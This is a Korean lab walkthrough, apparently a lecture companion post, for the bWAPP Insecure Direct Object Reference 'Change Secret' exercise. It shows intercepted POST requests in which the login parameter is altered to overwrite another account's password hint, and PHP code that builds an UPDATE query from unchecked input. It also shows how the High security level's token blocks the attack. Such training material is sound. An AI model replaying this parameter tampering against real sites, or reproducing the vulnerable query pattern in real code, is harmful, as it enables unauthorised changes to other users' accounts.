정보보안(구버전)/ bWAPP 2019. 2. 15. 14:01
웹 해킹 bWAPP - 60. A4 - Insecre Direct Object References - Insecure DOR(Change Secret)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Insecre Direct Object References
- OWASP Top10 A4 - 안전하지 않은 직접 객체 참조
- 객체를 참조하기 위해서 정상적인 인증 절차가 없는 취약점을 이용하는 공격이다.
- 클라이언트로부터 수신하는 정보에 대해서 검증 단계(ID 조회) 없이 정보를 서버로 전달하기 때문에 문제가 발생한다.
- Ex) 개인정보 변경, 패스워드 변경, 구매 가격 및 수량 변경
2. Insecre Direct Object References - Insecure DOR(Change Secret)
- 이 시나리오는 검증 단계(ID 조회) 없이 패스워드 힌트 정보를 변경할 경우 발생하는 취약점을 이용한 공격 내용이다.
- 그렇기 때문에 접속된 계정을 이용하여 다른 계정의 패스워드 힌트 정보를 변경할 수 있다.
Ex1) Insecre Direct Object References - Insecure DOR(Change Secret) 이해
보안 레벨 선택 및 시나리오 선택
'cisco1234' 입력 -> 'Change' 버튼 클릭 -> 변경 완료 메세지 확인
SQL Injection(Login Form/User) 시나리오 선택
'bee/bug' 로그인 실시 -> 패스워드 힌트 변경 확인
SQL 인젝션 실시 -> 'A.I.M.' 계정 및 패스워드 힌트 확인
Insecure DOR(Change Secret) 시나리오 선택
Intercept -> 'Intercept is on' 으로 변경 실시
'cisco5678' 입력 -> 'Change' 버튼 클릭
버프슈트 Intercept 내용 확인
계정 정보 'A.I.M'으로 변경 실시
POST /bWAPP/insecure_direct_object_ref_1.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/insecure_direct_object_ref_1.php Cookie: security_level=0; PHPSESSID=5fe9142fa58cd5475ce627f9bea9c2b6 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 40
secret=cisco5678&login=bee&action=change A.I.M. <- 변경 내용 |
'Forward' 버튼 클릭
'Intercept is on'를 클릭하여 off 실시
'Intercept is off' 확인
변경 완료 메세지 확인
SQL Injection(Login Form/User) 시나리오 선택
SQL 인젝션 실시 -> 'A.I.M.' 계정 패스워드 힌트 변경 확인
Ex2) 'insecure_direct_object_ref_1.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l insecure_direct_object_ref_1.php
-rw-rw-r-- 1 root www-data 8515 2014-11-02 23:52 insecure_direct_object_ref_1.php
bee@bee-box:/var/www/bWAPP$ vi insecure_direct_object_ref_1.php
~ 중간 생략 ~
// If the security level is not MEDIUM or HIGH
if(isset($_REQUEST["login"]) && $_REQUEST["login"])
$login = $_REQUEST["login"];
$secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
~ 중간 생략 ~
else
// If the security level is MEDIUM or HIGH
$message = "<font color=\"red\">Invalid token!</font>";
}
else
$secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
:q! |
Ex3) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
Intercept -> 'Intercept is on' 으로 변경 실시
'cisco1234' 입력 -> 'Change' 버튼 클릭
버프슈트 Intercept 내용 확인
계정 정보 'A.I.M'으로 변경 실시
POST /bWAPP/insecure_direct_object_ref_1.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/insecure_direct_object_ref_1.php Cookie: security_level=2; PHPSESSID=5fe9142fa58cd5475ce627f9bea9c2b6 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 77
secret=cisco1234&token=28e2fbdf3c7ae998e3dea4d0146b0dfab803a3b9&action=change A.I.M. <- 변경 내용 |
'Forward' 버튼 클릭
'Intercept is on'를 클릭하여 off 실시
'Intercept is off' 확인
SQL Injection(Login Form/User) 시나리오 선택
SQL 인젝션 실시 -> 'A.I.M.' 계정 패스워드 힌트 변경 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 60. A4 - bWAPP Insecre Direct Object References - Insecure DOR(Change Secret) https://youtu.be/srsEuOBovMM